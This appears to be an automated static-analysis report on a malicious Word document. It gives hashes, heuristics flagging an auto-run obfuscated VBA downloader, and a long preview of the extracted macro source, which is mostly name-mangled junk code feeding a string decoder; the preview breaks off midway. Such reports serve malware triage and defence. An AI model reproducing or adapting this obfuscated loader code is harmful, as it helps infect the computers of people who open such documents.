Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 545b580f11bed741…

MALICIOUS

Office (OLE)

336.5 KB Created: 2018-09-03 19:14:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: f2e32238fce8b3457fe88e434b65170d SHA-1: 0b26273ebdeedd665838646b3dc144f9250172a6 SHA-256: 545b580f11bed741ca0c03e30482a7192597d5fbb65f1b14c08b2123f213c55b
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains heavily obfuscated VBA macros that are triggered by the Document_Open event. These macros utilize CreateObject and GetObject calls, indicative of attempting to download and execute a second-stage payload. The presence of the 'OLE_VBA_HTTP_DROP_EXEC' heuristic confirms the macro's intent to download a file via HTTP and save it to disk for execution.

Heuristics 10

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        xSOlO = WpenE.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set dKVuVw = GetObject(bJqevBVC)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WpenE = CreateObject(qDFpd("MrQKi GCc]C$rS ]oENhsP!eo..%fxYXt AF.a cXkJqM( GLJ& HWLJTPOhTduyPm.v"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set dKVuVw = GetObject(bJqevBVC)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        gWQrZy = Environ(qDFpd("AC rl fpl&&CU m s#lLe #KrOD sp[oP P.rCWgotYOf Zvi K%l ^zeDMd"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 143405 bytes
SHA-256: d15792fe8533a1869f10a1ebf06f4ea426b44e5ec633b05a932ea4095cfb457f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
592 of 1017 identifiers look randomly generated (e.g. 'UrBtIBYoiayAERKlsy') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    roogsSAuuhEV = "S Nj!sTHY(^D J" + "f%o n  OJDF" + " M# p VgX W r "
    While MQHbMw < 5
        yFknqE = Space(3)
        RcgCJYiw = UCase(" Po  @n vYgUK-")
        MQHbMw = MQHbMw + 3
    Wend

    cIKVG = Left("E nVE@ VN #", 2)
    While FXpdXr < 5
        For oosUhQ = 0 To 6
            PPKLZZOh = RTrim("^o  edBN  ")
            yFknqE = Space(7)
            RcgCJYiw = 936 - 1537 - 340
            rFGhIVA = LTrim(" CT.T_Dv W  QQ  ")
            jDMPdeoeo = 1367 + 1799 + 951
            roogsSAuuhEV = Space(12)
            rFGhIVA = LTrim(" $d o_Y.   u$B_")
            jDMPdeoeo = LTrim("iC Cw S hG(^ ")
        Next oosUhQ

        cIKVG = StrReverse("$BzGe )k  tq[%   ")
        roogsSAuuhEV = RTrim("FS L bUnoTU_eMJ")
        FXpdXr = FXpdXr + 3
    Wend

    kGqgoMVDmyD = LTrim("WMTbqKJ?OZ.!ks")
    While qvMTIk < 1
        For VLZgAQ = 0 To 10
            rFGhIVA = 614 - 296 - 1301
            yFknqE = RTrim("aZ c  X    $   FS B")
            jDMPdeoeo = 1343 - 517 - 1829
            kGqgoMVDmyD = Space(15)
            kzugrur = UCase("SWBZ# rU  X j[ UJZWH")
            kGqgoMVDmyD = "oj u@EI_xja& -s.T" + "L % znaC  cU d" + "Y @Ed %TN)& ^ "
            kGqgoMVDmyD = 669 + 1644 + 815
            kzugrur = " LPzQx    BiI-e  J" + "s z&u UwGf.eR E pb " + "# ozI[#IfH"
        Next VLZgAQ

        PPKLZZOh = RTrim("Qp$AMUP@IHA")
        cIKVG = StrReverse("r K# lln NA")
        rFGhIVA = 778 - 440 - 1683
        kGqgoMVDmyD = UCase(" nT! YGb )t")
        qvMTIk = qvMTIk + 3
    Wend

    rFGhIVA = Left("VK$dIB#g C ", 4)
    roogsSAuuhEV = "_)[% cBi g El  sq " + " &dIlm  U  [Z D#" + "$NxNhl$ NoEWPX"
    rFGhIVA = Space(2)
    While BdJwKA < 5
        For BItOWN = 0 To 6
            roogsSAuuhEV = LTrim("z[Y Q  _   HSKa")
            AUPPVlQ = "ykH Jr jkL j  Rv#p" + "_K e(Q  oSV q )" + " BwZ Ndzr mrg"
            cIKVG = 1965 + 887 + 1348
            PPKLZZOh = Right("rildr [Ex&X Y #x_kr", 4)
        Next BItOWN

        cIKVG = Space(20)
        jDMPdeoeo = 577 - 1283 - 1667
        kGqgoMVDmyD = 179 + 1790 + 1490
        yFknqE = UCase("b-O bS  dbhFEds$bmX")
        kGqgoMVDmyD = Left("pGdE[Kr TkOoT#", 5)
        cIKVG = 1035 + 165 + 252
        rFGhIVA = 1959 - 1864 - 782
        kGqgoMVDmyD = " RC) #k  Ko!^ Ycu" + "s oORXYeVZkD  n[" + "p oeU pc)P"
        BdJwKA = BdJwKA + 1
    Wend

    For PLTwts = 0 To 7
        kzugrur = " S shAo[V&" + "#flX.   I QaRE$IA -" + "Rj JPk) AobqD."
        AUPPVlQ = Left("LofMmN Z Xye", 2)
        kGqgoMVDmyD = Space(15)
        rFGhIVA = RTrim("A )%mDw!C.GnWga")
        yFknqE = StrReverse("cyHRlIt Lpq^.R]")
        AUPPVlQ = 390 + 1608 + 210
        RcgCJYiw = 1229 + 1161 + 1560
        kGqgoMVDmyD = RTrim("te YD #-Y  I-?k ")
        PPKLZZOh = " y Z zP! n i" + " dL)PnWAS U&" + "Xd b- g  J^wfM"
        jDMPdeoeo = RTrim(" g  -Hf Co ruCsC")
    Next PLTwts

    roogsSAuuhEV = RTrim("f $rBZh E ")
    jDMPdeoeo = UCase("N mv ofj R")
    kGqgoMVDmyD = LTrim("w   [ HG k !sTB& ] ")
    For kXFfVS = 0 To 5
        kGqgoMVDmyD = 198 - 948 - 360
        kzugrur = 1253 + 1375 + 1708
        kGqgoMVDmyD = 1331 - 801 - 910
        kGqgoMVDmyD = LTrim("@ Ybsvav uf! ")
    Next kXFfVS

    While Zgdpld < 1
        jDMPdeoeo = Right("gv c]c@c IKysAX  cit", 2)
        cIKVG = LTrim(" Mdh ? UQ I  T")
        Zgdpld = Zgdpld + 3
    Wend

    While ssCTCk < 2
        For PWauyM = 0 To 8
            roogsSAuuhEV = RTrim("ja @&Y)   e")
            jDMPdeoeo = 1183 - 688 - 751
            PPKLZZOh = Left("J DWM^Ff U ", 2)
            PPKLZZOh = "L)  b q L.  cnf aP-" + ". ( ]@    (AGE@ ( xZ" + "H_D Fp mkNPX y. ucP!"
            kGqgoMVDmyD = 1727 + 966 + 477
            AUPPVlQ = UCase("Gb @o-  LMH")
            kzugrur = UCase(".x F % BjA")
        Next PWauyM

        roogsSAuuhEV = Space(16)
        rFGhIVA = StrReverse(" RFlZx%(rZk@H")
        kzugrur = Space(8)
        AUPPVlQ = "NN  xV$ %?RRs V EK d" + ")Xlp-.Rs  G" + "HyMA#HH)EzipnR hLFs"
        kzugrur = StrReverse("]T L  y lz L_[c_r")
        PPKLZZOh = Space(4)
        ssCTCk = ssCTCk + 1
    Wend

    RcgCJYiw = RTrim(" ?i    [k  _cv@PwHV")
    While xgVTHR < 2
        While PBXskM < 2
            AUPPVlQ = Left(" (aX^JGxS& f", 3)
            kzugrur = UCase("IdjZiF yc.GeXql")
            roogsSAuuhEV = 471 + 1961 + 1275
            yFknqE = StrReverse("Nsw Ya ERFE I  U")
            PPKLZZOh = UCase(" nE Jhu!kta) ")
            rFGhIVA = 1617 - 1396 - 1095
            PBXskM = PBXskM + 3
        Wend

        kGqgoMVDmyD = RTrim("RzOWrf n]B! ")
        kzugrur = 1933 - 1001 - 1444
        kzugrur = StrReverse("j uL D  e qE U")
        xgVTHR = xgVTHR + 3
    Wend

    rFGhIVA = "v i% XiZ^.b]s " + "PyaME oj _" + "Vhqx@$P! oj"
    kGqgoMVDmyD = RTrim(" Ygks@ NN e Mcb_ ")
    kzugrur = Right("Z^.Z C L  )XuB)LWG", 3)
    yFknqE = LTrim("a zt.e JN X# ")
    roogsSAuuhEV = Space(7)
    rFGhIVA = UCase("Mr k#P&Yl_    hb o")
    RcgCJYiw = 649 + 167 + 1298
    roogsSAuuhEV = 606 - 1025 - 825
    kzugrur = UCase("[]rL b  Wp ")
    While klvDSr < 1
        roogsSAuuhEV = RTrim("$-(qbJQpY ^ fpX)BGB")
        yFknqE = Space(15)
        PPKLZZOh = LTrim("n BP EE]zF)G&   ")
        klvDSr = klvDSr + 2
    Wend

    cIKVG = RTrim("Myr-X LX g  BH")
WjpGEYt "EOxqtSV", "DIDLkBzAKR", "DQsiINrz", "WYYSrngz", "YfVStd", "INSvRK"
    gWQrZy = Environ(qDFpd("AC rl fpl&&CU m s#lLe #KrOD sp[oP P.rCWgotYOf Zvi K%l ^zeDMd"))
    cIKVG = Space(12)
    PPKLZZOh = StrReverse("wN]oW Q  .KRj @[[ ")
    yFknqE = Left("TyGn gcZxHFSWLccen V", 4)
    jDMPdeoeo = LTrim(" g  YgtB dSZ^")
    Dim lhQIKUuM As String
    For CxundW = 0 To 6
        kGqgoMVDmyD = "-!Bu G%[(dPUj H d " + "r^  cfi!xEFEg sSE_" + "kpekWEZ%  f _H.JQ  "
        AUPPVlQ = 827 + 941 + 1039
    Next CxundW

    For tlsjye = 0 To 8
        kGqgoMVDmyD = Right("u rq LG #] . ", 3)
        cIKVG = UCase("B(WFkBDiv WY z e!RL ")
        kzugrur = UCase(" YgxMl] N )@n  Su ")
        cIKVG = Right("XhgA   IsPMY cS HNa", 5)
        PPKLZZOh = LTrim("mFTS  CGI pW_U")
        yFknqE = 1045 + 1285 + 315
        cIKVG = 846 + 1745 + 895
    Next tlsjye

    For uMgZgn = 0 To 3
        For ELotWm = 0 To 7
            RcgCJYiw = Left("BVLnX#Bx ?a kU", 4)
            AUPPVlQ = " Kot.C(RK@ V  " + "e KkM.c !QlX  AA" + " &L.^$$kG gL["
            RcgCJYiw = 763 + 1615 + 678
            PPKLZZOh = Left(" p wArvbtb ", 5)
            kzugrur = StrReverse("T % )AGV LG$#")
            cIKVG = UCase("rt Q )dmqWIoA")
            kGqgoMVDmyD = Space(14)
            PPKLZZOh = UCase(" pARtRBSe)  p")
        Next ELotWm

        rFGhIVA = Space(3)
        yFknqE = LTrim("]Hchq@ (eEzPEwojr s")
        yFknqE = UCase("x?]cjEv@t B]ftTXo ")
        cIKVG = LTrim("L[SyP% ^tA")
        AUPPVlQ = LTrim(" !TuD #H &bo?.B ")
        RcgCJYiw = Left("C EB LQ@SqtR", 2)
        RcgCJYiw = StrReverse("k vBAR i-A]w@$F o)")
        kGqgoMVDmyD = UCase("!(a!  jXmaFXpLh")
        cIKVG = LTrim("_)g OIkZ ya!N")
        RcgCJYiw = LTrim("G]p_ Bs$gXIF &A IS")
    Next uMgZgn

    PPKLZZOh = RTrim("q aL@fKK g P-vc")
    While apmDRi < 1
        For SLSrTG = 0 To 10
            rFGhIVA = Right("JpP TY[ QuD i", 3)
            RcgCJYiw = "yC AKr !&qt[C W%  " + "-DS   _ rZpr Af " + " qcB -  oFg n"
            rFGhIVA = 1509 - 1541 - 1971
            kGqgoMVDmyD = Space(13)
        Next SLSrTG

        jDMPdeoeo = Space(8)
        kGqgoMVDmyD = LTrim("@@OaS Fb M LjvgvM Ba")
        apmDRi = apmDRi + 1
    Wend

    cIKVG = UCase(" G!zNy  PSLxx  pr!")
    roogsSAuuhEV = RTrim(". xnD#-Lyc n")
    rFGhIVA = Left("Ec@G t x  WQH N", 2)
    lhQIKUuM = "F !_O"
    PPKLZZOh = RTrim("Z&&DiocBpyX gg[)ZgV")
    RcgCJYiw = UCase("Q IQYIs A  g)^   ")
    While nRRBkr < 2
        While iGMDoP < 3
            roogsSAuuhEV = UCase(" PjS ]iCD& ")
            kzugrur = Space(16)
            rFGhIVA = 1953 - 1265 - 1876
            AUPPVlQ = 1321 + 1437 + 605
            yFknqE = Right("Kd# $u  N sS (a]", 2)
            kzugrur = StrReverse("U(at dz$^MeS ")
            iGMDoP = iGMDoP + 3
        Wend

        kzugrur = 1920 - 1438 - 1225
        AUPPVlQ = Left("KCsOT !   L.", 5)
        PPKLZZOh = Left("[i[w K &i R_", 5)
        roogsSAuuhEV = Right("f   s]N bj", 5)
        rFGhIVA = UCase("%tM qI y.H@!GR?")
        nRRBkr = nRRBkr + 1
    Wend

    PPKLZZOh = Space(1)
    While jbqXII < 4
        For YJgFMg = 0 To 10
            jDMPdeoeo = 1331 - 573 - 1774
            RcgCJYiw = StrReverse("wjXwePi! hw")
            roogsSAuuhEV = Space(9)
            jDMPdeoeo = Space(12)
            RcgCJYiw = Space(17)
            kzugrur = 1015 + 369 + 1584
            PPKLZZOh = LTrim("MCjrw@YP eezoTU@")
            yFknqE = 827 + 711 + 384
            roogsSAuuhEV = 982 + 413 + 861
        Next YJgFMg

        PPKLZZOh = Left("Py  Wt H^H cl ", 5)
        cIKVG = Left("ZLFN@ZgGR L sGm_Zu", 4)
        RcgCJYiw = RTrim("u vP#KT B ")
        rFGhIVA = 1297 - 207 - 1056
        kGqgoMVDmyD = LTrim("zgT^#  tp  j i[  Uaf")
        PPKLZZOh = Left("Ox$vW rho $ qR", 4)
        yFknqE = UCase("y v GgS ?!HVz  K ")
        jbqXII = jbqXII + 1
    Wend

    While wUXPQr < 3
        rFGhIVA = Space(16)
        kGqgoMVDmyD = Left("ine!YqEG@ jBAox[-xE", 3)
        roogsSAuuhEV = Left("q cP Z rxy].[h", 5)
        RcgCJYiw = 1379 - 966 - 1433
        roogsSAuuhEV = Left("aB  K) q-  _E) E g", 4)
        cIKVG = RTrim("#r -JRNPCJkV s")
        rFGhIVA = " sEro!&UpL" + "  Mc vlBEZAuf h#c" + "WVN  pt  yxrKy!a    "
        jDMPdeoeo = RTrim("  Rzu!]Tl&YOx")
        cIKVG = LTrim("   l lgi !c r)BR. ")
        PPKLZZOh = " mU ti_[VjQ-x" + "#-Z l   mB% .[Nk# q" + "Bu ?- @)Jty%G  z "
        wUXPQr = wUXPQr + 1
    Wend

    While TKDwfx < 3
        For BXqgPK = 0 To 9
            AUPPVlQ = Left("DR!bzNz jD", 4)
            kGqgoMVDmyD = " qjtkuj%U.$" + "  eCjeoj Ruju " + "F ]Xh FEk.  i[ dh)K"
            kGqgoMVDmyD = Space(12)
            RcgCJYiw = UCase("%t  %yTM ]")
            RcgCJYiw = 289 - 189 - 1246
            RcgCJYiw = UCase(" w[kjh?gppFx")
            rFGhIVA = RTrim("S    VVjQib")
        Next BXqgPK

        PPKLZZOh = RTrim("Wf Pl% lTr [wq")
        yFknqE = RTrim("pxZGMk @ mE g")
        rFGhIVA = RTrim(" [cZG(   vKW QR(r O ")
        jDMPdeoeo = StrReverse("xv g) fWMJo ")
        kzugrur = UCase("_ul]L  qU ^IBz")
        RcgCJYiw = LTrim("..a_GDarL%rX fqq  %g")
        cIKVG = 1065 - 539 - 838
        kGqgoMVDmyD = LTrim("  Vb UYM Z ]j  $ A[Z")
        TKDwfx = TKDwfx + 1
    Wend

    AUPPVlQ = UCase("REKnJ N?LVCa aX(#")
    lhQIKUuM = lhQIKUuM + "k  Ld"
    rFGhIVA = RTrim("At  .@Eq .")
    RcgCJYiw = RTrim("S$  N iValcKq(Ofx ")
    AUPPVlQ = LTrim(" hSs  P K-")
    kGqgoMVDmyD = 1494 - 1779 - 1168
    kGqgoMVDmyD = StrReverse("RdA  MvwCauu")
    roogsSAuuhEV = Left("tkR A ^B&WW?rIn ", 5)
    yFknqE = Left("oQ@zR# D &.UR mshk", 2)
    lhQIKUuM = lhQIKUuM + "% De "
    AUPPVlQ = Right(" E)k m lDWy z^YW", 2)
    PPKLZZOh = RTrim("M- # # ? K   ")
    cIKVG = "JT   XcFC] A " + "zg .vCfawHQ T  " + " YuNG IeEqL"
    AUPPVlQ = 1076 - 661 - 1028
    rFGhIVA = 1574 + 514 + 1488
    yFknqE = Right(" G  zSO C P#&", 2)
    lhQIKUuM = lhQIKUuM + "PE   "
    roogsSAuuhEV = RTrim("f _Mh [KmvqPz[D")
    For NepLFJ = 0 To 9
        kGqgoMVDmyD = 928 + 788 + 412
        cIKVG = LTrim("LF ML P&  a &DN X")
        jDMPdeoeo = " %T @YFc)I" + " B  B#xm OLz C" + "t#uC  MS IfA&w"
    Next NepLFJ

    kzugrur = Left("C]Ja( nBe@ v%", 2)
    jDMPdeoeo = Space(13)
    yFknqE = UCase("bTZ ]E^xRVHV")
    cIKVG = UCase("R&r#IvL  IZ!j  ")
    AUPPVlQ = RTrim("R Jj?AjdYN--Z h ")
    lhQIKUuM = lhQIKUuM + "R  k\"
    roogsSAuuhEV = 1948 - 1103 - 1695
    While mcdbGF < 5
        For ZujIjx = 0 To 5
            jDMPdeoeo = RTrim("]xuA UKk.jJs")
            rFGhIVA = Space(11)
            cIKVG = StrReverse(" yIvuM#N E TbR(")
            cIKVG = Space(11)
            kGqgoMVDmyD = "^! H  I  TJ_" + "paaq.TI  XvO[ -A" + " R ydhbag  A^ y& @-G"
            RcgCJYiw = 1944 - 1358 - 1051
            kGqgoMVDmyD = Right("  v b^ SJ hlM?y^Z[I", 4)
            RcgCJYiw = Right("   DfC   )elH", 2)
            yFknqE = Right("  JcTebX wB dfq l L", 5)
        Next ZujIjx

        RcgCJYiw = Right("% &m] Gll ", 5)
        roogsSAuuhEV = 391 - 1201 - 1684
        mcdbGF = mcdbGF + 1
    Wend

    kGqgoMVDmyD = StrReverse("O  UoDfCR  j  et?.a")
    AUPPVlQ = 1402 + 1889 + 176
    While jhHutD < 1
        RcgCJYiw = 451 + 186 + 1039
        yFknqE = LTrim("uL aCWFZ  G O")
        yFknqE = 1719 + 1037 + 888
        kzugrur = 489 - 173 - 1079
        yFknqE = Right(" D y   VGxF", 2)
        roogsSAuuhEV = LTrim("    lz .wr&l  Yy _")
        PPKLZZOh = Space(19)
        jDMPdeoeo = "S  ^gu NwsHhT  " + "  arM x?ss" + "  w^ AG xe^NJ"
        yFknqE = Left(" v kG_ddBmYHS-ioYV e", 3)
        jhHutD = jhHutD + 1
    Wend

    lhQIKUuM = lhQIKUuM + " ctX?"
    kzugrur = StrReverse("R  aMvCDTZGZA ")
    roogsSAuuhEV = Right("kLfnkPR^kI", 3)
    RcgCJYiw = UCase(" ?W]#D _A[x?Xqd")
    PPKLZZOh = 929 + 1884 + 1565
    While hyrZtz < 1
        For OAAvHW = 0 To 8
            RcgCJYiw = Left("bjP e B uNm", 4)
            roogsSAuuhEV = StrReverse("EWK p  IrB@@  k  ")
            PPKLZZOh = 1308 - 1486 - 360
            RcgCJYiw = StrReverse("dbEk  k BN U  %e")
            AUPPVlQ = Right(" b &bil  )lP ZBqlI", 2)
            AUPPVlQ = Right("S  #T tA QU c][P ", 2)
            PPKLZZOh = StrReverse("r^NP DKp MxN^DP[")
            kGqgoMVDmyD = 587 + 421 + 793
            jDMPdeoeo = 922 + 1655 + 1730
            rFGhIVA = Space(9)
        Next OAAvHW

        kzugrur = StrReverse("FyX   Y!HRH &L")
        PPKLZZOh = Right("H# bK   zg  G]%  ", 5)
        RcgCJYiw = RTrim("_v]E P& ]$N hudK")
        kGqgoMVDmyD = 143 - 1667 - 830
        jDMPdeoeo = Space(12)
        AUPPVlQ = Right("    p^Ez$bBzXub(V", 2)
        hyrZtz = hyrZtz + 2
    Wend

    rFGhIVA = StrReverse("t.Xs(e kq)xquA C ")
    kGqgoMVDmyD = Right("G k y&lhBq   ", 5)
    rFGhIVA = Right("Gw kPu)wT llf-E ", 4)
    While EuaCQO < 1
        While pzrcVz < 5
            RcgCJYiw = LTrim("u FlZuSN ]I-SKjq E")
            cIKVG = StrReverse("@ ]$  i$Bq cc Ye?  ")
            RcgCJYiw = UCase("Z Nlo  S BmsO^j]")
            PPKLZZOh = StrReverse("%jKcd! sw t F uK?G")
            kzugrur = UCase(" l KD_hC wlOhq")
            AUPPVlQ = UCase("_YlK ML% q# Xm^JgI ")
            yFknqE = Left("  N C  (uDELH!( ", 4)
            pzrcVz = pzrcVz + 2
        Wend

        roogsSAuuhEV = StrReverse("[cl )cH( ) .x")
        kGqgoMVDmyD = Right("MBnA -s vhD", 2)
        roogsSAuuhEV = Left("b? w   pV^[dxpK k? ", 2)
        cIKVG = Right("ESbCf ju) ", 2)
        RcgCJYiw = RTrim("J z% qqDmuC .")
        kzugrur = RTrim("q _ P  y[  w pp ")
        jDMPdeoeo = ")u  gm %D-" + " Jc^  ]MC ^p B MHW@" + " Yol?FExju &MW$! x@"
        rFGhIVA = Left("_#Qp   ks   lto (g", 2)
        kzugrur = 624 + 295 + 1737
        EuaCQO = EuaCQO + 3
    Wend

    lhQIKUuM = lhQIKUuM + "  MwE"
    roogsSAuuhEV = Left("  pAdW sZM D", 5)
    jDMPdeoeo = 1741 + 1998 + 1435
    PPKLZZOh = 923 - 882 - 1261
    For Davlyq = 0 To 5
        roogsSAuuhEV = 680 - 1412 - 1486
        kGqgoMVDmyD = StrReverse(" pGB w %nf")
        yFknqE = StrReverse(" t  G yfaC   nt")
        cIKVG = 382 + 1330 + 808
        kGqgoMVDmyD = Left("Nbh)Biz [J", 2)
        yFknqE = LTrim("ykRi ^OXqU .H")
    Next Davlyq

    kzugrur = Space(19)
    RcgCJYiw = 1500 - 1875 - 329
    jDMPdeoeo = " jj K^Lb gTe !p  " + "C   $MN %Ry&g  t P" + "LZ A[ g FI(Hp X?vS %"
    lhQIKUuM = lhQIKUuM + " y uE"
    PPKLZZOh = StrReverse("SzaGb -uvh Lc O.f")
    While nKVlVl < 3
        yFknqE = Right(" -tgr!d !FXb I_HyXM", 4)
        jDMPdeoeo = RTrim("! oH  Fe  k")
        kGqgoMVDmyD = 108 + 581 + 154
        nKVlVl = nKVlVl + 1
    Wend

    jDMPdeoeo = StrReverse("[zYutGX.N  j")
    While hELkOe < 3
        jDMPdeoeo = StrReverse("rSyH  !pvj[")
        PPKLZZOh = StrReverse("F D  WAB Mt")
        jDMPdeoeo = RTrim(" rnpi H FRP[  H%^ ]")
        yFknqE = Left(" m    Iw eH ?K", 3)
        roogsSAuuhEV = Right("Yw G$q   K", 2)
        jDMPdeoeo = RTrim("LH )Ze) kO?vJo")
        kzugrur = 421 + 933 + 1947
        cIKVG = LTrim("dUm    ! ]C @  Tv a")
        roogsSAuuhEV = 1898 - 1897 - 686
        hELkOe = hELkOe + 2
    Wend

    rFGhIVA = RTrim(" m-]UKVz Y")
    roogsSAuuhEV = " trKa !    N u (a  " + "D -&_ YzVg" + "G B%B Blutsi  "
    For fYvCTP = 0 To 1
        For emeBXc = 0 To 6
            PPKLZZOh = Right("a&ZvrkB- GxQBKia ", 2)
            RcgCJYiw = "CCL _RUiH]    iu tNi" + "^-  B - qB.W ic  " + "$_?GtvM fg [N"
            yFknqE = LTrim("cFWF [  oCVTs tk")
            roogsSAuuhEV = RTrim("pf.yt@%  gX")
            rFGhIVA = ") vvF fZ.M G" + " Di% x Y #y M P^" + "t XS]PkL l X]wt_kG B"
        Next emeBXc

        jDMPdeoeo = Space(14)
        RcgCJYiw = LTrim("%fgBiHEnE?GG p  r%^K")
        jDMPdeoeo = RTrim("  dgh&fHedo-h ?u")
        jDMPdeoeo = Left("b  [   ) - N t", 5)
        PPKLZZOh = LTrim("pF ozQDG[ eg_")
        kGqgoMVDmyD = LTrim("(iEsJi D -N")
    Next fYvCTP

    lhQIKUuM = lhQIKUuM + "SG.Uc"
    cIKVG = UCase(" EuZ uIC  vEg   IL!")
    kzugrur = 1474 - 1645 - 1760
    PPKLZZOh = StrReverse("wjaz iHW .a i K[g ")
    yFknqE = "QqHj h L [mt.da" + "MUiRADNH DD" + "FWK!-%xS   "
    yFknqE = Left(" Ps ? C? B", 4)
    AUPPVlQ = LTrim("JhRbplLF- R ?I!_QgM")
    jDMPdeoeo = Space(2)
    yFknqE = "X ?nA T?.kQ-GcM" + "C@        R t" + " Ryr VHy@hfs cYXj"
    lhQIKUuM = lhQIKUuM + "oXDKo"
    jDMPdeoeo = LTrim("J   PLYF@u")
    yFknqE = Right("   L ! OjUB % _  ", 3)
    kzugrur = "gQX  M zAwrp$_O" + "Q  As t c&higq" + "-!hg fIc]  X]SOu wG-"
    PPKLZZOh = RTrim("^j  rZ[ZJY")
    jDMPdeoeo = 409 - 1225 - 963
    PPKLZZOh = Space(18)
    jDMPdeoeo = ") ] x   OMU" + "h _ h_%QBW-flZGXh" + " Z p] AUL%(KK s  teN"
    lhQIKUuM = lhQIKUuM + "Hh.FH"
    While yUGJWu < 3
        For yKORSi = 0 To 6
            cIKVG = StrReverse("BsOo&cdoiJLPOnWIH   ")
            kGqgoMVDmyD = StrReverse("( _  jXYr& ")
            PPKLZZOh = Space(1)
        Next yKORSi

        kzugrur = "WbiKkN hM L LGIhU " + "xk N  ( A#Tx-C@%^  " + "%e EE  j_ Enm@  Dm"
        yFknqE = Right("Ssa #VhN B Bq(. N% q", 2)
        kGqgoMVDmyD = RTrim(" k ZHc ZA@v")
        yUGJWu = yUGJWu + 2
    Wend

    yFknqE = Space(10)
    RcgCJYiw = LTrim("k%L     l ")
    roogsSAuuhEV = "Gsp#d  hPvPo" + " .p[B  G?m" + "b tiGWpcq_VpQt"
    cIKVG = LTrim("ktbWjI@P  JR")
    roogsSAuuhEV = UCase(" DH B?.( o mKJe b")
    cIKVG = Left("I o _ vb(- Fl(!N^VZ(", 5)
    rFGhIVA = Right("clncSYK-ZX@aCzU", 3)
    rFGhIVA = RTrim("^Uh$KQ_ B M& b ")
    lhQIKUuM = lhQIKUuM + "zeqgD"
    For HXbyNV = 0 To 8
        AUPPVlQ = Space(19)
        AUPPVlQ = Space(3)
        roogsSAuuhEV = ".ePMQfGlhIr " + "%r  G)e fc! pD" + "W&UAjW y- A "
    Next HXbyNV

    jDMPdeoeo = Right("v)AUPwVQ%_", 5)
    AUPPVlQ = "]Dnfc$As.g ZK" + "( NFR O%zs#^ " + "O q  Sw]V e "
    PPKLZZOh = Space(7)
    rFGhIVA = 1395 - 1532 - 510
    lhQIKUuM = lhQIKUuM + "xxtMe"
    While ydZfWF < 1
        While eWiEep < 4
            RcgCJYiw = StrReverse(" &d .brc wx")
            rFGhIVA = RTrim("jJ^y  vOSK[F")
            yFknqE = Space(8)
            eWiEep = eWiEep + 1
        Wend

        yFknqE = 1223 - 116 - 1265
        cIKVG = LTrim("  JdKVtMJ^D")
        AUPPVlQ = RTrim("# VwH% q^QF")
        PPKLZZOh = Left("yMXHXU&  Ma)FN  O# a", 5)
        AUPPVlQ = Space(16)
        roogsSAuuhEV = RTrim("tMrkD . &q Qz_")
        kGqgoMVDmyD = Left("dctqs_ xPsA ", 2)
        jDMPdeoeo = RTrim("Azx D^ m-uotcc ")
        ydZfWF = ydZfWF + 1
    Wend

    jDMPdeoeo = Space(1)
    yFknqE = UCase("IFv -q n  Ip Y@! L)")
    cIKVG = Space(19)
    While ktBRYX < 1
        While POEeKv < 3
            cIKVG = 854 - 1035 - 735
            rFGhIVA = 1473 - 1179 - 402
            yFknqE = Right(" $F)grJbq_ bhm", 2)
            POEeKv = POEeKv + 3
        Wend

        PPKLZZOh = "He HZ  Fy  W p" + "#[r V  H uq#s RZG" + "v&]L&uo)_ADs%  "
        kzugrur = StrReverse("i S$-Dt._rCB%  V")
        jDMPdeoeo = Space(7)
        roogsSAuuhEV = 1301 + 1835 + 1583
        kzugrur = RTrim("Jx_cO A(hyJS")
        AUPPVlQ = StrReverse("oIj[&bP  u [")
        kGqgoMVDmyD = StrReverse("PkUx$z & Zzq")
        yFknqE = Right("wjH& v ?F .t& ! (j@O", 3)
        AUPPVlQ = Left(" Qb J(rndI", 5)
        RcgCJYiw = LTrim(" %V  I fO]R NmCy.ky ")
        ktBRYX = ktBRYX + 3
    Wend

    PPKLZZOh = RTrim(" lBPK] &Ri_")
    While lOXTJM < 5
        While pOLcHb < 4
            PPKLZZOh = 948 + 1448 + 1176
            jDMPdeoeo = 1732 - 149 - 337
            kzugrur = 1977 + 973 + 114
            pOLcHb = pOLcHb + 1
        Wend

